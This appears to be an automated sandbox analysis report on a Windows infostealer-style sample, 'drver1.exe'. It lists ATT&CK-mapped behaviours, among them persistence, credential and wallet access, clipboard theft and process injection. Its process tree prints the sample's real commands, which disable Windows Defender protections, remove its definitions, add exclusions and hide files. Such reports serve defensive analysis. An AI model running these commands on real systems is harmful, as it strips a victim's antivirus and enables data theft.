f37a0f08cffa425c582cc2ee16d360ce6421e6e6bf2d8bf43715a154dabcdbae

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	explorer.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3756129449-3121373848-4276368241-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\ShowSuperHidden = "0"	svchost.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
1772	powershell.exe
2220	powershell.exe
2752	powershell.exe
1400	powershell.exe
4536	powershell.exe

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	drver1.exe
File opened for modification	C:\Windows\System32\drivers\etc\hosts	attrib.exe

Clipboard Data 1 TTPs 2 IoCs

Adversaries may collect data stored in the clipboard from users copying information within or between applications.

collection

Clipboard Data

T1115

pid	Process
4124	cmd.exe
4732	powershell.exe

Executes dropped EXE 8 IoCs

pid	Process
748	drver1.exe
2188	drver1.exe
3232	icsys.icn.exe
1324	explorer.exe
1628	spoolsv.exe
3976	svchost.exe
5116	spoolsv.exe
1820	rar.exe

Loads dropped DLL 17 IoCs

pid	Process
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe
2188	drver1.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	svchost.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Explorer = "c:\\windows\\resources\\themes\\explorer.exe RO"	explorer.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\Svchost = "c:\\windows\\resources\\svchost.exe RO"	explorer.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
18	ip-api.com

Obfuscated Files or Information: Command Obfuscation 1 TTPs
Adversaries may obfuscate content during command execution to impede detection.
defense_evasion

Command Obfuscation
T1027.010

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\explorer.exe	explorer.exe
File opened for modification	C:\Windows\SysWOW64\explorer.exe	svchost.exe

Enumerates processes with tasklist 1 TTPs 4 IoCs

Process Discovery

T1057

pid	Process
2224	tasklist.exe
3724	tasklist.exe
4320	tasklist.exe
4500	tasklist.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 1 IoCs

defense_evasion

Hidden Files and Directories

persistence privilege_escalation

pid	Process
3364	cmd.exe

UPX packed file 57 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x0007000000023cb2-31.dat	upx
behavioral1/memory/2188-35-0x00007FFB69A80000-0x00007FFB6A141000-memory.dmp	upx
behavioral1/files/0x0007000000023cac-68.dat	upx
behavioral1/files/0x0007000000023cab-67.dat	upx
behavioral1/files/0x0007000000023caa-66.dat	upx
behavioral1/files/0x0007000000023ca9-65.dat	upx
behavioral1/files/0x0007000000023ca8-64.dat	upx
behavioral1/files/0x0007000000023ca7-63.dat	upx
behavioral1/files/0x0007000000023ca6-62.dat	upx
behavioral1/files/0x0007000000023ca4-61.dat	upx
behavioral1/files/0x0007000000023cb7-60.dat	upx
behavioral1/files/0x0007000000023cb6-59.dat	upx
behavioral1/files/0x0007000000023cb5-58.dat	upx
behavioral1/files/0x0007000000023cb1-55.dat	upx
behavioral1/files/0x0007000000023caf-54.dat	upx
behavioral1/memory/2188-52-0x00007FFB82410000-0x00007FFB8241F000-memory.dmp	upx
behavioral1/memory/2188-51-0x00007FFB7C8B0000-0x00007FFB7C8D5000-memory.dmp	upx
behavioral1/memory/2188-105-0x00007FFB79120000-0x00007FFB7914C000-memory.dmp	upx
behavioral1/files/0x0007000000023cb0-49.dat	upx
behavioral1/memory/2188-107-0x00007FFB791C0000-0x00007FFB791D9000-memory.dmp	upx
behavioral1/files/0x0007000000023ca5-47.dat	upx
behavioral1/memory/2188-113-0x00007FFB7C8B0000-0x00007FFB7C8D5000-memory.dmp	upx
behavioral1/memory/2188-112-0x00007FFB78500000-0x00007FFB7867F000-memory.dmp	upx
behavioral1/memory/2188-111-0x00007FFB790F0000-0x00007FFB79114000-memory.dmp	upx
behavioral1/memory/2188-115-0x00007FFB79010000-0x00007FFB79029000-memory.dmp	upx
behavioral1/memory/2188-117-0x00007FFB7C720000-0x00007FFB7C72D000-memory.dmp	upx
behavioral1/memory/2188-121-0x00007FFB6E830000-0x00007FFB6E8FE000-memory.dmp	upx
behavioral1/memory/2188-127-0x00007FFB777B0000-0x00007FFB777C4000-memory.dmp	upx
behavioral1/memory/2188-135-0x00007FFB68F30000-0x00007FFB6904A000-memory.dmp	upx
behavioral1/memory/2188-133-0x00007FFB79E10000-0x00007FFB79E1D000-memory.dmp	upx
behavioral1/memory/2188-132-0x00007FFB791C0000-0x00007FFB791D9000-memory.dmp	upx
behavioral1/memory/2188-124-0x00007FFB69540000-0x00007FFB69A73000-memory.dmp	upx
behavioral1/memory/2188-119-0x00007FFB78CA0000-0x00007FFB78CD3000-memory.dmp	upx
behavioral1/memory/2188-110-0x00007FFB69A80000-0x00007FFB6A141000-memory.dmp	upx
behavioral1/memory/2188-361-0x00007FFB78CA0000-0x00007FFB78CD3000-memory.dmp	upx
behavioral1/memory/2188-364-0x00007FFB6E830000-0x00007FFB6E8FE000-memory.dmp	upx
behavioral1/memory/2188-365-0x00007FFB69540000-0x00007FFB69A73000-memory.dmp	upx
behavioral1/memory/2188-395-0x00007FFB78500000-0x00007FFB7867F000-memory.dmp	upx
behavioral1/memory/2188-403-0x00007FFB68F30000-0x00007FFB6904A000-memory.dmp	upx
behavioral1/memory/2188-389-0x00007FFB69A80000-0x00007FFB6A141000-memory.dmp	upx
behavioral1/memory/2188-390-0x00007FFB7C8B0000-0x00007FFB7C8D5000-memory.dmp	upx
behavioral1/memory/2188-418-0x00007FFB69A80000-0x00007FFB6A141000-memory.dmp	upx
behavioral1/memory/2188-433-0x00007FFB69A80000-0x00007FFB6A141000-memory.dmp	upx
behavioral1/memory/2188-453-0x00007FFB790F0000-0x00007FFB79114000-memory.dmp	upx
behavioral1/memory/2188-452-0x00007FFB791C0000-0x00007FFB791D9000-memory.dmp	upx
behavioral1/memory/2188-451-0x00007FFB7C8B0000-0x00007FFB7C8D5000-memory.dmp	upx
behavioral1/memory/2188-450-0x00007FFB82410000-0x00007FFB8241F000-memory.dmp	upx
behavioral1/memory/2188-449-0x00007FFB78500000-0x00007FFB7867F000-memory.dmp	upx
behavioral1/memory/2188-448-0x00007FFB79120000-0x00007FFB7914C000-memory.dmp	upx
behavioral1/memory/2188-447-0x00007FFB68F30000-0x00007FFB6904A000-memory.dmp	upx
behavioral1/memory/2188-446-0x00007FFB79E10000-0x00007FFB79E1D000-memory.dmp	upx
behavioral1/memory/2188-445-0x00007FFB777B0000-0x00007FFB777C4000-memory.dmp	upx
behavioral1/memory/2188-443-0x00007FFB6E830000-0x00007FFB6E8FE000-memory.dmp	upx
behavioral1/memory/2188-442-0x00007FFB78CA0000-0x00007FFB78CD3000-memory.dmp	upx
behavioral1/memory/2188-441-0x00007FFB7C720000-0x00007FFB7C72D000-memory.dmp	upx
behavioral1/memory/2188-444-0x00007FFB69540000-0x00007FFB69A73000-memory.dmp	upx
behavioral1/memory/2188-440-0x00007FFB79010000-0x00007FFB79029000-memory.dmp	upx

Drops file in Windows directory 5 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Resources\tjud.exe	explorer.exe
File opened for modification	C:\Windows\Resources\Themes\icsys.icn.exe	drver1.exe
File opened for modification	\??\c:\windows\resources\themes\explorer.exe	icsys.icn.exe
File opened for modification	\??\c:\windows\resources\spoolsv.exe	explorer.exe
File opened for modification	\??\c:\windows\resources\svchost.exe	spoolsv.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	drver1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icsys.icn.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	explorer.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	spoolsv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	svchost.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

Internet Connection Discovery

T1016.001

pid	Process
2696	cmd.exe
2856	PING.EXE

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

Wi-Fi Discovery

T1016.002

pid	Process
2916	cmd.exe
4444	netsh.exe

Checks SCSI registry key(s) 3 TTPs 3 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000	taskmgr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\Properties\{b725f130-47ef-101a-a5f1-02608c9eebac}\000A	taskmgr.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_WDC&Prod_WDS100T2B0A\4&215468a5&0&000000\FriendlyName	taskmgr.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

pid	Process
3088	WMIC.exe

Gathers system information 1 TTPs 1 IoCs

Runs systeminfo.exe.

System Information Discovery

pid	Process
2460	systeminfo.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
2856	PING.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
1048	drver1.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
3232	icsys.icn.exe

Suspicious behavior: GetForegroundWindowSpam 3 IoCs

pid	Process
1324	explorer.exe
3976	svchost.exe
4396	taskmgr.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1772	powershell.exe
Token: SeDebugPrivilege	2752	powershell.exe
Token: SeDebugPrivilege	2220	powershell.exe
Token: SeDebugPrivilege	3724	tasklist.exe
Token: SeDebugPrivilege	4320	tasklist.exe
Token: SeIncreaseQuotaPrivilege	3908	WMIC.exe
Token: SeSecurityPrivilege	3908	WMIC.exe
Token: SeTakeOwnershipPrivilege	3908	WMIC.exe
Token: SeLoadDriverPrivilege	3908	WMIC.exe
Token: SeSystemProfilePrivilege	3908	WMIC.exe
Token: SeSystemtimePrivilege	3908	WMIC.exe
Token: SeProfSingleProcessPrivilege	3908	WMIC.exe
Token: SeIncBasePriorityPrivilege	3908	WMIC.exe
Token: SeCreatePagefilePrivilege	3908	WMIC.exe
Token: SeBackupPrivilege	3908	WMIC.exe
Token: SeRestorePrivilege	3908	WMIC.exe
Token: SeShutdownPrivilege	3908	WMIC.exe
Token: SeDebugPrivilege	3908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3908	WMIC.exe
Token: SeRemoteShutdownPrivilege	3908	WMIC.exe
Token: SeUndockPrivilege	3908	WMIC.exe
Token: SeManageVolumePrivilege	3908	WMIC.exe
Token: 33	3908	WMIC.exe
Token: 34	3908	WMIC.exe
Token: 35	3908	WMIC.exe
Token: 36	3908	WMIC.exe
Token: SeIncreaseQuotaPrivilege	3908	WMIC.exe
Token: SeSecurityPrivilege	3908	WMIC.exe
Token: SeTakeOwnershipPrivilege	3908	WMIC.exe
Token: SeLoadDriverPrivilege	3908	WMIC.exe
Token: SeSystemProfilePrivilege	3908	WMIC.exe
Token: SeSystemtimePrivilege	3908	WMIC.exe
Token: SeProfSingleProcessPrivilege	3908	WMIC.exe
Token: SeIncBasePriorityPrivilege	3908	WMIC.exe
Token: SeCreatePagefilePrivilege	3908	WMIC.exe
Token: SeBackupPrivilege	3908	WMIC.exe
Token: SeRestorePrivilege	3908	WMIC.exe
Token: SeShutdownPrivilege	3908	WMIC.exe
Token: SeDebugPrivilege	3908	WMIC.exe
Token: SeSystemEnvironmentPrivilege	3908	WMIC.exe
Token: SeRemoteShutdownPrivilege	3908	WMIC.exe
Token: SeUndockPrivilege	3908	WMIC.exe
Token: SeManageVolumePrivilege	3908	WMIC.exe
Token: 33	3908	WMIC.exe
Token: 34	3908	WMIC.exe
Token: 35	3908	WMIC.exe
Token: 36	3908	WMIC.exe
Token: SeDebugPrivilege	4732	powershell.exe
Token: SeDebugPrivilege	4500	tasklist.exe
Token: SeDebugPrivilege	4688	powershell.exe
Token: SeDebugPrivilege	2224	tasklist.exe
Token: SeDebugPrivilege	1400	powershell.exe
Token: SeDebugPrivilege	1020	powershell.exe
Token: SeIncreaseQuotaPrivilege	860	WMIC.exe
Token: SeSecurityPrivilege	860	WMIC.exe
Token: SeTakeOwnershipPrivilege	860	WMIC.exe
Token: SeLoadDriverPrivilege	860	WMIC.exe
Token: SeSystemProfilePrivilege	860	WMIC.exe
Token: SeSystemtimePrivilege	860	WMIC.exe
Token: SeProfSingleProcessPrivilege	860	WMIC.exe
Token: SeIncBasePriorityPrivilege	860	WMIC.exe
Token: SeCreatePagefilePrivilege	860	WMIC.exe
Token: SeBackupPrivilege	860	WMIC.exe
Token: SeRestorePrivilege	860	WMIC.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe
4396	taskmgr.exe

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
1048	drver1.exe
1048	drver1.exe
3232	icsys.icn.exe
3232	icsys.icn.exe
1324	explorer.exe
1324	explorer.exe
1628	spoolsv.exe
1628	spoolsv.exe
3976	svchost.exe
3976	svchost.exe
5116	spoolsv.exe
5116	spoolsv.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1048 wrote to memory of 748	1048	drver1.exe	82
PID 1048 wrote to memory of 748	1048	drver1.exe	82
PID 748 wrote to memory of 2188	748	drver1.exe	83
PID 748 wrote to memory of 2188	748	drver1.exe	83
PID 1048 wrote to memory of 3232	1048	drver1.exe	84
PID 1048 wrote to memory of 3232	1048	drver1.exe	84
PID 1048 wrote to memory of 3232	1048	drver1.exe	84
PID 3232 wrote to memory of 1324	3232	icsys.icn.exe	85
PID 3232 wrote to memory of 1324	3232	icsys.icn.exe	85
PID 3232 wrote to memory of 1324	3232	icsys.icn.exe	85
PID 1324 wrote to memory of 1628	1324	explorer.exe	86
PID 1324 wrote to memory of 1628	1324	explorer.exe	86
PID 1324 wrote to memory of 1628	1324	explorer.exe	86
PID 1628 wrote to memory of 3976	1628	spoolsv.exe	87
PID 1628 wrote to memory of 3976	1628	spoolsv.exe	87
PID 1628 wrote to memory of 3976	1628	spoolsv.exe	87
PID 3976 wrote to memory of 5116	3976	svchost.exe	88
PID 3976 wrote to memory of 5116	3976	svchost.exe	88
PID 3976 wrote to memory of 5116	3976	svchost.exe	88
PID 2188 wrote to memory of 2124	2188	drver1.exe	89
PID 2188 wrote to memory of 2124	2188	drver1.exe	89
PID 2188 wrote to memory of 3304	2188	drver1.exe	90
PID 2188 wrote to memory of 3304	2188	drver1.exe	90
PID 2188 wrote to memory of 3444	2188	drver1.exe	91
PID 2188 wrote to memory of 3444	2188	drver1.exe	91
PID 2188 wrote to memory of 3364	2188	drver1.exe	92
PID 2188 wrote to memory of 3364	2188	drver1.exe	92
PID 2188 wrote to memory of 4188	2188	drver1.exe	93
PID 2188 wrote to memory of 4188	2188	drver1.exe	93
PID 3304 wrote to memory of 2752	3304	cmd.exe	99
PID 3304 wrote to memory of 2752	3304	cmd.exe	99
PID 3364 wrote to memory of 2184	3364	cmd.exe	100
PID 3364 wrote to memory of 2184	3364	cmd.exe	100
PID 3444 wrote to memory of 2196	3444	cmd.exe	101
PID 3444 wrote to memory of 2196	3444	cmd.exe	101
PID 4188 wrote to memory of 1772	4188	cmd.exe	102
PID 4188 wrote to memory of 1772	4188	cmd.exe	102
PID 2124 wrote to memory of 2220	2124	cmd.exe	103
PID 2124 wrote to memory of 2220	2124	cmd.exe	103
PID 2188 wrote to memory of 464	2188	drver1.exe	104
PID 2188 wrote to memory of 464	2188	drver1.exe	104
PID 2188 wrote to memory of 1840	2188	drver1.exe	105
PID 2188 wrote to memory of 1840	2188	drver1.exe	105
PID 2188 wrote to memory of 4988	2188	drver1.exe	108
PID 2188 wrote to memory of 4988	2188	drver1.exe	108
PID 464 wrote to memory of 3724	464	cmd.exe	110
PID 464 wrote to memory of 3724	464	cmd.exe	110
PID 1840 wrote to memory of 4320	1840	cmd.exe	111
PID 1840 wrote to memory of 4320	1840	cmd.exe	111
PID 4988 wrote to memory of 3908	4988	cmd.exe	112
PID 4988 wrote to memory of 3908	4988	cmd.exe	112
PID 2188 wrote to memory of 4124	2188	drver1.exe	114
PID 2188 wrote to memory of 4124	2188	drver1.exe	114
PID 2188 wrote to memory of 2204	2188	drver1.exe	115
PID 2188 wrote to memory of 2204	2188	drver1.exe	115
PID 2188 wrote to memory of 4888	2188	drver1.exe	117
PID 2188 wrote to memory of 4888	2188	drver1.exe	117
PID 2188 wrote to memory of 2916	2188	drver1.exe	119
PID 2188 wrote to memory of 2916	2188	drver1.exe	119
PID 2188 wrote to memory of 3220	2188	drver1.exe	121
PID 2188 wrote to memory of 3220	2188	drver1.exe	121
PID 2188 wrote to memory of 1036	2188	drver1.exe	123
PID 2188 wrote to memory of 1036	2188	drver1.exe	123
PID 2188 wrote to memory of 1516	2188	drver1.exe	124

Views/modifies file attributes 1 TTPs 3 IoCs

evasion

Hidden Files and Directories

pid	Process
2184	attrib.exe
3164	attrib.exe
4428	attrib.exe

C:\Users\Admin\AppData\Local\Temp\drver1.exe
"C:\Users\Admin\AppData\Local\Temp\drver1.exe"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1048
- \??\c:\users\admin\appdata\local\temp\drver1.exe
  c:\users\admin\appdata\local\temp\drver1.exe
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:748
- - \??\c:\users\admin\appdata\local\temp\drver1.exe
    c:\users\admin\appdata\local\temp\drver1.exe
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    - Loads dropped DLL
    - Suspicious use of WriteProcessMemory
    PID:2188
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\drver1.exe '"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2124
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'c:\users\admin\appdata\local\temp\drver1.exe '
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2220
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3304
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:2752
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Success! Driver 1 loaded.', 0, 'Stage 1', 48+16);close()""
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3444
    - - C:\Windows\system32\mshta.exe
        
        mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Success! Driver 1 loaded.', 0, 'Stage 1', 48+16);close()"
        5⤵
        
        PID:2196
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "attrib +h +s "c:\users\admin\appdata\local\temp\drver1.exe ""
      4⤵
      Hide Artifacts: Hidden Files and Directories
      Suspicious use of WriteProcessMemory
      PID:3364
    - - C:\Windows\system32\attrib.exe
        
        attrib +h +s "c:\users\admin\appdata\local\temp\drver1.exe "
        5⤵
        Views/modifies file attributes
        
        PID:2184
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4188
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ .scr'
        5⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious use of AdjustPrivilegeToken
        
        PID:1772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:464
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:3724
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1840
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /FO LIST
        5⤵
        Enumerates processes with tasklist
        Suspicious use of AdjustPrivilegeToken
        
        PID:4320
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4988
    - - C:\Windows\System32\Wbem\WMIC.exe
        
        WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
        5⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:3908
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
      4⤵
